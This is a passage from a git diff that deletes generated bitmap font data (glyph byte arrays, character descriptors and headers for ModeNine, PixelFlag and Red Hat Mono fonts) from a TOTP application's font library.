- {10, 616}, /* Q */ - {10, 644}, /* R */ - {0, 0}, /* S */ - {10, 672}, /* T */ - {0, 0}, /* U */ - {10, 700}, /* V */ - {10, 728}, /* W */ - {10, 756}, /* X */ - {10, 784}, /* Y */ -}; - -/* Font information for ModeNine 15pt */ -const FONT_INFO modeNine_15ptFontInfo = { - "Mode Nine", - 14, /* Character height */ - '-', /* Start character */ - 'Y', /* End character */ - 2, /* Width, in pixels, of space character */ - modeNine_15ptDescriptors, /* Character descriptor array */ - modeNine_15ptBitmaps, /* Character bitmap array */ -}; diff --git a/applications/external/totp/lib/fonts/mode_nine/mode_nine.h b/applications/external/totp/lib/fonts/mode_nine/mode_nine.h deleted file mode 100644 index 516e261f8..000000000 --- a/applications/external/totp/lib/fonts/mode_nine/mode_nine.h +++ /dev/null @@ -1,8 +0,0 @@ -#pragma once - -/* GENERATED BY https://github.com/pavius/the-dot-factory */ - -#include "../font_info.h" - -/* Font data for ModeNine 15pt */ -extern const FONT_INFO modeNine_15ptFontInfo; diff --git a/applications/external/totp/lib/fonts/pixelflag/pixelflag.c b/applications/external/totp/lib/fonts/pixelflag/pixelflag.c deleted file mode 100644 index eacf36b28..000000000 --- a/applications/external/totp/lib/fonts/pixelflag/pixelflag.c +++ /dev/null @@ -1,1115 +0,0 @@ -#include "pixelflag.h" - -/* GENERATED BY https://github.com/pavius/the-dot-factory */ - -/* -** Font data for {PixelFlag} 18pt -*/ - -/* Character bitmaps for {PixelFlag} 18pt */ -const uint8_t pixelFlag_18ptBitmaps[] = { - /* @0 '-' (13 pixels wide) */ - 0xFE, - 0x07, - 0xFE, - 0x07, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0xF8, - 0x07, - 0xF8, - 0x07, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0xFE, - 0x07, - 0xFE, - 0x07, - - /* @34 '0' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0xF8, - 0x07, - 0xF8, - 0x07, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0xFC, - 0x1F, - 0xF8, - 0x07, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @68 '1' (13 pixels wide) */ - 0xff, - 0xff, - 0xff, - 0xff, - 0x00, - 0xe0, - 0xc0, - 0xe0, - 0xc0, - 0xe0, - 0xe0, - 0xe0, - 0xe0, - 0xe0, - 0xc0, - 0xe0, - 0xc0, - 0xe0, - 0xc0, - 0xe0, - 0xc0, - 0xe0, - 0xc0, - 0xe0, - 0xe0, - 0xe3, - 0xe0, - 0xe3, - 0x00, - 0xe0, - 0xff, - 0xff, - 0xff, - 0xff, - - /* @102 '2' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0xFC, - 0x07, - 0xFC, - 0x07, - 0x00, - 0x18, - 0x00, - 0x18, - 0x00, - 0x18, - 0xF8, - 0x07, - 0xFC, - 0x07, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0xFC, - 0x1F, - 0xFC, - 0x1F, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @136 '3' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0xFC, - 0x07, - 0xFC, - 0x07, - 0x00, - 0x18, - 0x00, - 0x18, - 0x00, - 0x18, - 0xE0, - 0x07, - 0xE0, - 0x1F, - 0x00, - 0x18, - 0x00, - 0x18, - 0xFC, - 0x1F, - 0xFC, - 0x07, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @170 '4' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0x00, - 0x06, - 0x00, - 0x06, - 0x00, - 0x07, - 0xC0, - 0x07, - 0xC0, - 0x06, - 0x60, - 0x06, - 0x78, - 0x06, - 0x18, - 0x06, - 0xFC, - 0x1F, - 0xFC, - 0x1F, - 0x00, - 0x06, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @204 '5' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0xFC, - 0x1F, - 0xFC, - 0x1F, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0xFC, - 0x07, - 0xFC, - 0x1F, - 0x00, - 0x18, - 0x00, - 0x18, - 0xFC, - 0x1F, - 0xFC, - 0x07, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @238 '6' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0xF8, - 0x07, - 0xF8, - 0x07, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x00, - 0xFC, - 0x07, - 0xFC, - 0x1F, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0xFC, - 0x1F, - 0xF8, - 0x07, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @272 '7' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0xFC, - 0x1F, - 0xFC, - 0x1F, - 0x00, - 0x06, - 0x00, - 0x07, - 0x00, - 0x03, - 0xC0, - 0x00, - 0xE0, - 0x00, - 0x60, - 0x00, - 0x18, - 0x00, - 0x1C, - 0x00, - 0x0C, - 0x00, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @306 '8' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0xF8, - 0x07, - 0xF8, - 0x07, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0xF8, - 0x07, - 0xFC, - 0x1F, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0xFC, - 0x1F, - 0xF8, - 0x07, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @340 '9' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0xF8, - 0x07, - 0xF8, - 0x07, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0xF8, - 0x1F, - 0xF8, - 0x1F, - 0x00, - 0x18, - 0x0C, - 0x18, - 0xFC, - 0x1F, - 0xF8, - 0x07, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @374 'B' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0xFC, - 0x07, - 0xFC, - 0x07, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0xFC, - 0x07, - 0xFC, - 0x1F, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0xFC, - 0x1F, - 0xFC, - 0x07, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @408 'C' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0xF8, - 0x07, - 0xF8, - 0x07, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x18, - 0xFC, - 0x1F, - 0xF8, - 0x07, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @442 'D' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0xFC, - 0x07, - 0xFC, - 0x07, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0xFC, - 0x1F, - 0xFC, - 0x07, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @476 'F' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0xFC, - 0x1F, - 0xFC, - 0x1F, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0xFC, - 0x03, - 0xFC, - 0x03, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @510 'G' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0xF8, - 0x07, - 0xF8, - 0x07, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x00, - 0xCC, - 0x1F, - 0xCC, - 0x1F, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0xFC, - 0x1F, - 0xF8, - 0x07, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @544 'H' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0xFC, - 0x1F, - 0xFC, - 0x1F, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @578 'J' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0x00, - 0x18, - 0x00, - 0x18, - 0x00, - 0x18, - 0x00, - 0x18, - 0x00, - 0x18, - 0x00, - 0x18, - 0x00, - 0x18, - 0x00, - 0x18, - 0x0C, - 0x18, - 0xFC, - 0x1F, - 0xF8, - 0x07, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @612 'K' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x06, - 0x0C, - 0x07, - 0x0C, - 0x03, - 0xFC, - 0x00, - 0xFC, - 0x03, - 0x0C, - 0x03, - 0x0C, - 0x06, - 0x0C, - 0x1E, - 0x0C, - 0x18, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @646 'M' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x1C, - 0x1E, - 0x7C, - 0x1F, - 0x6C, - 0x1B, - 0xCC, - 0x18, - 0xCC, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @680 'N' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x1C, - 0x18, - 0x7C, - 0x18, - 0x6C, - 0x18, - 0xCC, - 0x18, - 0xCC, - 0x1B, - 0x0C, - 0x1B, - 0x0C, - 0x1E, - 0x0C, - 0x1E, - 0x0C, - 0x18, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @714 'P' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0xFC, - 0x07, - 0xFC, - 0x07, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0xFC, - 0x07, - 0xFC, - 0x07, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @748 'Q' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0xF8, - 0x07, - 0xF8, - 0x07, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0xCC, - 0x18, - 0xCC, - 0x1B, - 0x0C, - 0x1B, - 0x0C, - 0x1E, - 0xFC, - 0x1F, - 0xF8, - 0x07, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @782 'R' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0xFC, - 0x07, - 0xFC, - 0x07, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0xFC, - 0x07, - 0xFC, - 0x1F, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @816 'T' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0xFC, - 0x1F, - 0xFC, - 0x1F, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @850 'V' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x1C, - 0x1E, - 0x18, - 0x06, - 0x60, - 0x03, - 0xE0, - 0x03, - 0xC0, - 0x00, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @884 'W' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0xCC, - 0x18, - 0xCC, - 0x18, - 0xCC, - 0x18, - 0xCC, - 0x18, - 0xCC, - 0x18, - 0xCC, - 0x18, - 0xFC, - 0x1F, - 0x78, - 0x07, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @918 'X' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x18, - 0x06, - 0x78, - 0x07, - 0x60, - 0x03, - 0xC0, - 0x00, - 0xE0, - 0x03, - 0x60, - 0x03, - 0x18, - 0x06, - 0x1C, - 0x1E, - 0x0C, - 0x18, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @952 'Y' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x18, - 0x06, - 0x78, - 0x07, - 0x60, - 0x03, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, -}; - -/* Character descriptors for {PixelFlag} 18pt */ -/* { [Char width in bits], [Offset into pixelFlag_18ptCharBitmaps in bytes] } */ -const FONT_CHAR_INFO pixelFlag_18ptDescriptors[] = { - {13, 0}, /* - */ - {0, 0}, /* . */ - {0, 0}, /* / */ - {13, 34}, /* 0 */ - {13, 68}, /* 1 */ - {13, 102}, /* 2 */ - {13, 136}, /* 3 */ - {13, 170}, /* 4 */ - {13, 204}, /* 5 */ - {13, 238}, /* 6 */ - {13, 272}, /* 7 */ - {13, 306}, /* 8 */ - {13, 340}, /* 9 */ - {0, 0}, /* : */ - {0, 0}, /* ; */ - {0, 0}, /* < */ - {0, 0}, /* = */ - {0, 0}, /* > */ - {0, 0}, /* ? */ - {0, 0}, /* @ */ - {0, 0}, /* A */ - {13, 374}, /* B */ - {13, 408}, /* C */ - {13, 442}, /* D */ - {0, 0}, /* E */ - {13, 476}, /* F */ - {13, 510}, /* G */ - {13, 544}, /* H */ - {0, 0}, /* I */ - {13, 578}, /* J */ - {13, 612}, /* K */ - {0, 0}, /* L */ - {13, 646}, /* M */ - {13, 680}, /* N */ - {0, 0}, /* O */ - {13, 714}, /* P */ - {13, 748}, /* Q */ - {13, 782}, /* R */ - {0, 0}, /* S */ - {13, 816}, /* T */ - {0, 0}, /* U */ - {13, 850}, /* V */ - {13, 884}, /* W */ - {13, 918}, /* X */ - {13, 952}, /* Y */ -}; - -/* Font information for {PixelFlag} 18pt */ -const FONT_INFO pixelFlag_18ptFontInfo = { - "Pixel Flag", - 17, /* Character height */ - '-', /* Start character */ - 'Y', /* End character */ - 0, /* Width, in pixels, of space character */ - pixelFlag_18ptDescriptors, /* Character descriptor array */ - pixelFlag_18ptBitmaps, /* Character bitmap array */ -}; diff --git a/applications/external/totp/lib/fonts/pixelflag/pixelflag.h b/applications/external/totp/lib/fonts/pixelflag/pixelflag.h deleted file mode 100644 index dc339c84d..000000000 --- a/applications/external/totp/lib/fonts/pixelflag/pixelflag.h +++ /dev/null @@ -1,7 +0,0 @@ -#pragma once - -/* GENERATED BY https://github.com/pavius/the-dot-factory */ - -#include "../font_info.h" - -extern const FONT_INFO pixelFlag_18ptFontInfo; \ No newline at end of file diff --git a/applications/external/totp/lib/fonts/redhat_mono/redhat_mono.c b/applications/external/totp/lib/fonts/redhat_mono/redhat_mono.c deleted file mode 100644 index e39b6c81c..000000000 --- a/applications/external/totp/lib/fonts/redhat_mono/redhat_mono.c +++ /dev/null @@ -1,1058 +0,0 @@ -#include "redhat_mono.h" -#include - -/* GENERATED BY https://github.com/pavius/the-dot-factory */ - -/* -** Font data for Red Hat Mono 16pt -*/ - -/* Character bitmaps for Red Hat Mono 16pt */ -const uint8_t redHatMono_16ptBitmaps[] = { - /* @0 '-' (12 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0xF8, - 0x03, - 0xF8, - 0x03, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @32 '0' (12 pixels wide) */ - 0xF0, - 0x00, - 0xF8, - 0x03, - 0x1C, - 0x07, - 0x0E, - 0x07, - 0x8E, - 0x07, - 0x86, - 0x0E, - 0xC6, - 0x0C, - 0x66, - 0x0C, - 0x66, - 0x0C, - 0x36, - 0x0E, - 0x36, - 0x0E, - 0x1E, - 0x06, - 0x1C, - 0x07, - 0xF8, - 0x03, - 0xF0, - 0x01, - 0x00, - 0x00, - - /* @64 '1' (12 pixels wide) */ - 0x40, - 0x00, - 0x78, - 0x00, - 0x7E, - 0x00, - 0x66, - 0x00, - 0x60, - 0x00, - 0x60, - 0x00, - 0x60, - 0x00, - 0x60, - 0x00, - 0x60, - 0x00, - 0x60, - 0x00, - 0x60, - 0x00, - 0x60, - 0x00, - 0x60, - 0x00, - 0xFE, - 0x07, - 0xFE, - 0x07, - 0x00, - 0x00, - - /* @96 '2' (12 pixels wide) */ - 0xF0, - 0x01, - 0xFC, - 0x03, - 0x0E, - 0x07, - 0x04, - 0x06, - 0x00, - 0x06, - 0x00, - 0x07, - 0x00, - 0x03, - 0x80, - 0x03, - 0xC0, - 0x01, - 0xE0, - 0x00, - 0x70, - 0x00, - 0x38, - 0x00, - 0x1C, - 0x00, - 0xFE, - 0x07, - 0xFE, - 0x07, - 0x00, - 0x00, - - /* @128 '3' (12 pixels wide) */ - 0xF0, - 0x00, - 0xFC, - 0x03, - 0x0E, - 0x07, - 0x04, - 0x06, - 0x00, - 0x06, - 0x00, - 0x06, - 0x80, - 0x03, - 0xE0, - 0x00, - 0xE0, - 0x03, - 0x00, - 0x06, - 0x00, - 0x06, - 0x00, - 0x0E, - 0x06, - 0x07, - 0xFE, - 0x07, - 0xF8, - 0x01, - 0x00, - 0x00, - - /* @160 '4' (12 pixels wide) */ - 0x00, - 0x03, - 0x80, - 0x03, - 0xC0, - 0x03, - 0xE0, - 0x03, - 0x70, - 0x03, - 0x30, - 0x03, - 0x18, - 0x03, - 0x0C, - 0x03, - 0x0E, - 0x03, - 0xFF, - 0x0F, - 0xFF, - 0x0F, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x00, - - /* @192 '5' (12 pixels wide) */ - 0xFC, - 0x07, - 0xFC, - 0x07, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0xFC, - 0x01, - 0xFE, - 0x07, - 0x00, - 0x07, - 0x00, - 0x06, - 0x00, - 0x06, - 0x00, - 0x06, - 0x06, - 0x07, - 0xFE, - 0x03, - 0xF8, - 0x01, - 0x00, - 0x00, - - /* @224 '6' (12 pixels wide) */ - 0xE0, - 0x03, - 0xF8, - 0x07, - 0x3C, - 0x06, - 0x0C, - 0x00, - 0x0E, - 0x00, - 0x06, - 0x00, - 0xE6, - 0x03, - 0xFE, - 0x07, - 0x0E, - 0x0E, - 0x06, - 0x0C, - 0x06, - 0x0C, - 0x0E, - 0x0E, - 0x1C, - 0x06, - 0xF8, - 0x07, - 0xF0, - 0x03, - 0x00, - 0x00, - - /* @256 '7' (12 pixels wide) */ - 0xFE, - 0x0F, - 0xFE, - 0x0F, - 0x00, - 0x0E, - 0x00, - 0x06, - 0x00, - 0x07, - 0x00, - 0x03, - 0x80, - 0x01, - 0xC0, - 0x01, - 0xC0, - 0x00, - 0xE0, - 0x00, - 0x60, - 0x00, - 0x70, - 0x00, - 0x30, - 0x00, - 0x38, - 0x00, - 0x1C, - 0x00, - 0x00, - 0x00, - - /* @288 '8' (12 pixels wide) */ - 0xF0, - 0x01, - 0xFC, - 0x03, - 0x1C, - 0x07, - 0x0E, - 0x06, - 0x0E, - 0x06, - 0x0C, - 0x06, - 0xBC, - 0x03, - 0xF0, - 0x01, - 0x1C, - 0x07, - 0x0E, - 0x06, - 0x06, - 0x0E, - 0x06, - 0x0E, - 0x0E, - 0x06, - 0xFC, - 0x07, - 0xF8, - 0x03, - 0x00, - 0x00, - - /* @320 '9' (12 pixels wide) */ - 0xF8, - 0x01, - 0xFC, - 0x03, - 0x0C, - 0x07, - 0x0E, - 0x0E, - 0x06, - 0x0C, - 0x06, - 0x0C, - 0x0E, - 0x0E, - 0xFC, - 0x0F, - 0xF8, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0E, - 0x00, - 0x06, - 0x8C, - 0x07, - 0xFC, - 0x03, - 0xF8, - 0x00, - 0x00, - 0x00, - - /* @352 'B' (12 pixels wide) */ - 0xFC, - 0x00, - 0xFC, - 0x03, - 0x8C, - 0x07, - 0x0C, - 0x06, - 0x0C, - 0x06, - 0x0C, - 0x07, - 0xFC, - 0x03, - 0xFC, - 0x01, - 0x8C, - 0x07, - 0x0C, - 0x06, - 0x0C, - 0x0E, - 0x0C, - 0x0E, - 0x0C, - 0x07, - 0xFC, - 0x07, - 0xFC, - 0x01, - 0x00, - 0x00, - - /* @384 'C' (12 pixels wide) */ - 0xF0, - 0x01, - 0xF8, - 0x03, - 0xBC, - 0x07, - 0x0C, - 0x06, - 0x0E, - 0x0E, - 0x0E, - 0x00, - 0x06, - 0x00, - 0x06, - 0x00, - 0x06, - 0x00, - 0x06, - 0x00, - 0x0E, - 0x0E, - 0x0E, - 0x0E, - 0x1C, - 0x07, - 0xF8, - 0x03, - 0xF0, - 0x01, - 0x00, - 0x00, - - /* @416 'D' (12 pixels wide) */ - 0x7E, - 0x00, - 0xFE, - 0x01, - 0xCE, - 0x03, - 0x0E, - 0x07, - 0x0E, - 0x06, - 0x0E, - 0x0E, - 0x0E, - 0x0E, - 0x0E, - 0x0E, - 0x0C, - 0x0E, - 0x0C, - 0x0E, - 0x0C, - 0x06, - 0x0C, - 0x07, - 0x8C, - 0x07, - 0xFC, - 0x03, - 0xFC, - 0x00, - 0x00, - 0x00, - - /* @448 'F' (12 pixels wide) */ - 0xFC, - 0x0F, - 0xFC, - 0x0F, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0xFC, - 0x01, - 0xFC, - 0x01, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x00, - 0x00, - - /* @480 'G' (12 pixels wide) */ - 0xF0, - 0x01, - 0xF8, - 0x03, - 0xBC, - 0x07, - 0x0C, - 0x06, - 0x0E, - 0x0E, - 0x06, - 0x00, - 0x06, - 0x00, - 0x86, - 0x0F, - 0x86, - 0x0F, - 0x06, - 0x0C, - 0x0E, - 0x0E, - 0x0E, - 0x06, - 0x1C, - 0x07, - 0xF8, - 0x03, - 0xF0, - 0x01, - 0x00, - 0x00, - - /* @512 'H' (12 pixels wide) */ - 0x0E, - 0x06, - 0x0E, - 0x06, - 0x0E, - 0x06, - 0x0E, - 0x06, - 0x0E, - 0x06, - 0x0E, - 0x06, - 0x0E, - 0x06, - 0xFE, - 0x07, - 0xFE, - 0x07, - 0x0E, - 0x06, - 0x0E, - 0x06, - 0x0E, - 0x06, - 0x0E, - 0x06, - 0x0E, - 0x06, - 0x0E, - 0x06, - 0x00, - 0x00, - - /* @544 'J' (12 pixels wide) */ - 0x00, - 0x06, - 0x00, - 0x06, - 0x00, - 0x06, - 0x00, - 0x06, - 0x00, - 0x06, - 0x00, - 0x06, - 0x00, - 0x06, - 0x00, - 0x06, - 0x00, - 0x06, - 0x00, - 0x06, - 0x04, - 0x06, - 0x07, - 0x07, - 0x8E, - 0x07, - 0xFC, - 0x03, - 0xF8, - 0x01, - 0x00, - 0x00, - - /* @576 'K' (12 pixels wide) */ - 0x0E, - 0x0E, - 0x0E, - 0x07, - 0x0E, - 0x03, - 0x8E, - 0x01, - 0xCE, - 0x01, - 0xEE, - 0x00, - 0x7E, - 0x00, - 0x3E, - 0x00, - 0x7E, - 0x00, - 0xEE, - 0x00, - 0xCE, - 0x01, - 0x8E, - 0x03, - 0x8E, - 0x03, - 0x0E, - 0x07, - 0x0E, - 0x0E, - 0x00, - 0x00, - - /* @608 'M' (12 pixels wide) */ - 0x0E, - 0x0E, - 0x0E, - 0x0F, - 0x1E, - 0x0F, - 0x9E, - 0x0F, - 0xB6, - 0x0F, - 0xB6, - 0x0F, - 0xF6, - 0x0E, - 0xE6, - 0x0E, - 0x66, - 0x0E, - 0x46, - 0x0E, - 0x26, - 0x0E, - 0x06, - 0x0E, - 0x06, - 0x0E, - 0x06, - 0x0E, - 0x06, - 0x0E, - 0x00, - 0x00, - - /* @640 'N' (12 pixels wide) */ - 0x0E, - 0x06, - 0x0E, - 0x06, - 0x1E, - 0x06, - 0x3E, - 0x06, - 0x3E, - 0x06, - 0x76, - 0x06, - 0x66, - 0x06, - 0xE6, - 0x06, - 0xC6, - 0x06, - 0xC6, - 0x07, - 0x86, - 0x07, - 0x86, - 0x07, - 0x06, - 0x07, - 0x06, - 0x07, - 0x06, - 0x06, - 0x00, - 0x00, - - /* @672 'P' (12 pixels wide) */ - 0xFC, - 0x00, - 0xFC, - 0x03, - 0x8C, - 0x07, - 0x0C, - 0x0E, - 0x0C, - 0x0E, - 0x0C, - 0x0E, - 0x0C, - 0x06, - 0xFC, - 0x07, - 0xFC, - 0x03, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x00, - 0x00, - - /* @704 'Q' (12 pixels wide) */ - 0xF0, - 0x00, - 0xF8, - 0x03, - 0x9C, - 0x07, - 0x0E, - 0x07, - 0x0E, - 0x0E, - 0x06, - 0x0E, - 0x06, - 0x0E, - 0x06, - 0x0E, - 0x06, - 0x0E, - 0x06, - 0x0E, - 0xEE, - 0x0E, - 0xCE, - 0x07, - 0x9C, - 0x07, - 0xFC, - 0x07, - 0xF0, - 0x07, - 0x00, - 0x0A, - - /* @736 'R' (12 pixels wide) */ - 0xFC, - 0x00, - 0xFC, - 0x03, - 0x8C, - 0x07, - 0x0C, - 0x06, - 0x0C, - 0x0E, - 0x0C, - 0x0E, - 0x0C, - 0x07, - 0xFC, - 0x07, - 0xFC, - 0x01, - 0x8C, - 0x01, - 0x8C, - 0x03, - 0x0C, - 0x03, - 0x0C, - 0x07, - 0x0C, - 0x06, - 0x0C, - 0x0E, - 0x00, - 0x00, - - /* @768 'T' (12 pixels wide) */ - 0xFF, - 0x0F, - 0xFF, - 0x0F, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0x00, - 0x00, - - /* @800 'V' (12 pixels wide) */ - 0x07, - 0x0C, - 0x06, - 0x0C, - 0x06, - 0x0E, - 0x0E, - 0x06, - 0x0C, - 0x06, - 0x0C, - 0x07, 